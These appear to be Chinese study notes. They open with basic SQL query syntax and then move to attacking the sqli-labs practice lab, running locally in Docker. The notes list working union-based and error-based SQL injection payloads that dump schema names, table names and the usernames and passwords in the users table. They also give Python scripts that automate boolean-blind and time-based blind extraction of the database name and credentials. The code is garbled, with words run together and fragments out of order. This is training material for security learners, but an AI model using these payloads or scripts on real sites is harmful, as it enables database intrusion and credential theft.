and 并且 or 或者(and优先级高于or) in 包含,相当于多个 or(in不是一个区间。in后面跟的是具体的值。) like 模糊查询,支持%或下划线匹配 %匹配任意多个字符 下划线:任意一个字符。 (%是一个特殊的符号,_ 也是一个特殊符号)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
between … and …. 两个值之间, 等同于 >=and<= e.g: select empno,ename,sal from emp where sal >=2450and sal <=3000; ----------------------------- select empno,ename,sal from emp where sal between2450and3000;
1 2
isnull (不能用等号) isnotnull
排序
1 2 3 4 5 6
select 字段1,字段2,字段3.... from 表名 orderby 按什么排;
(默认升序)
降/升
1 2 3 4 5 6
select 字段1,字段2,字段3.... from 表名 orderby 按什么排 desc/asc;
综
1 2 3 4 5 6 7 8
select ... from ... where ... orderby(排序总是在最后执行) ...
WARNING: No blkio throttle.read_bps_device support WARNING: No blkio throttle.write_bps_device support WARNING: No blkio throttle.read_iops_device support WARNING: No blkio throttle.write_iops_device support
百度了一下不重要
搜索sqli-labs:docker search sqli-labs
建立镜像:docker pull acgpiano/sqli-labs
查看存在的镜像:docker images
运行存在的镜像:docker run -dt --name sqli-labs -p 80:80 --rm acgpiano/sqli-labs
?id=1 ?id=1' ?id=1'--+ ?id=1'order by 3 --+ ?id=1'orderby4--+ ?id=-1'union select 1,2,3--+ ?id=-1'unionselect1,group_concat(schema_name),3from information_schema.schemata--+ ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ ?id=-1'unionselect1,group_concat(column_name),3from information_schema.columns where table_name='users'--+ ?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
iflen(requests.get(dbNameLen_url).text) == normalHtmlLen: print("The len of dbName:"+str(dbNameLen)) break
if dbNameLen == 30: print("Error!") break
dbNameLen += 1
dbName = ""
for i inrange(1, dbNameLen+1): for a in string.ascii_lowercase: dbName_url = url + "?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+" #print(dbName_url) iflen(requests.get(dbName_url).text) == normalHtmlLen: dbName += a print(dbName) break
normalHtmlLen = len(requests.get(url=url + "?id=1").text) print("The len of HTML: " + str(normalHtmlLen))
tableNameLen = 0
whileTrue: tableNameLen_url = url + "?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0, 1))=" + str(tableNameLen) + "--+" response = requests.get(tableNameLen_url) if response.status_code == 200andlen(response.text) == normalHtmlLen: print("The len of table name: " + str(tableNameLen)) break
if tableNameLen == 50: print("Error!") break
tableNameLen += 1
tableName = ""
for i inrange(1, tableNameLen + 1): for a in string.ascii_lowercase: tableName_url = url + "?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)," + str(i) + ",1)='" + a + "'--+" response = requests.get(tableName_url) if response.status_code == 200andlen(response.text) == normalHtmlLen: tableName += a print(tableName) break
normalHtmlLen = len(requests.get(url=url + "?id=1").text) print("The len of HTML: " + str(normalHtmlLen))
tableNames = []
tableIndex = 0
whileTrue: tableNameLen = 0
whileTrue: tableNameLen_url = url + "?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit " + str(tableIndex) + ", 1))=" + str(tableNameLen) + "--+" response = requests.get(tableNameLen_url) if response.status_code == 200andlen(response.text) == normalHtmlLen: break
if tableNameLen == 50: print("Error!") break
tableNameLen += 1
if tableNameLen == 50: break
tableName = ""
for i inrange(1, tableNameLen + 1): for a in string.ascii_lowercase: tableName_url = url + "?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit " + str(tableIndex) + ", 1)," + str(i) + ",1)='" + a + "'--+" response = requests.get(tableName_url) if response.status_code == 200andlen(response.text) == normalHtmlLen: tableName += a break
if tableName: tableNames.append(tableName)
tableIndex += 1
print("Table names:") for tableName in tableNames: print(tableName)
?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)--+
defget_database_length(target_url): for length inrange(1, 10): payload = "?id=1' and if(length(database())={},sleep(1),0)--+".format(length) sec = time_tools(target_url, payload) if sec >= 1: print("Database length is {}".format(length)) return length
defget_database_name(target_url): db_name = '' db_length = get_database_length(target_url) letters = string.ascii_lowercase + "_" for i inrange(1, db_length + 1): for letter in letters: payload = "?id=1' and substring(database(),{},1)='{}' --+".format(i, letter) html_content = requests.get(target_url + payload).text result = re.findall("You are in...........", html_content) ifnot result: continue else: db_name += letter break print("Database name is {}".format(db_name)) return db_name
defget_table_name_length(target_url): """ 爆表、列、字段原理一样,爆出表后改一下payload爆其他数据 爆数据: "?id=1' and length((select concat(username,0x3a,password)from users limit {},1))={}--+" 爆列: "?id=1' and length((select column_name from information_schema.columns " \ "where table_schema=database() and table_name='users' limit {},1))={}--+" 爆表: "?id=1' and length((select table_name from information_schema.tables " \ "where table_schema=database() and table_name='users' limit {},1))={}--+" """ table_name_length = [] for i inrange(15): for length inrange(1, 50): payload = "?id=1' and length((select concat(username,0x3a,password)from users limit {},1))={}--+".format(i, length) html_content = requests.get(target_url + payload).text result = re.findall("You are in...........", html_content) if result: table_name_length.append(length) # print(table_name_length) break else: continue return table_name_length
defget_table_name(target_url): """ 爆表和列原理一样,爆出表后改一下payload爆列 """ letters = string.ascii_lowercase + string.digits + '_:@-!' table_name = '' table_length = get_table_name_length(target_url) for length inrange(0, len(table_length)): for i inrange(1, table_length[length] + 1): for letter in letters: payload = "?id=1' and substring((select concat(username,0x3a,password)from users limit {},1),{},1)='{}'--+" \ .format(length, i, letter) html_content = requests.get(target_url + payload).text result = re.findall("You are in...........", html_content) if result: table_name += letter break else: continue print("The injected data are {}".format(table_name)) table_name += ','
if __name__ == '__main__': get_database_name("http://127.0.0.1/Less-8/") get_table_name("http://127.0.0.1/Less-8/")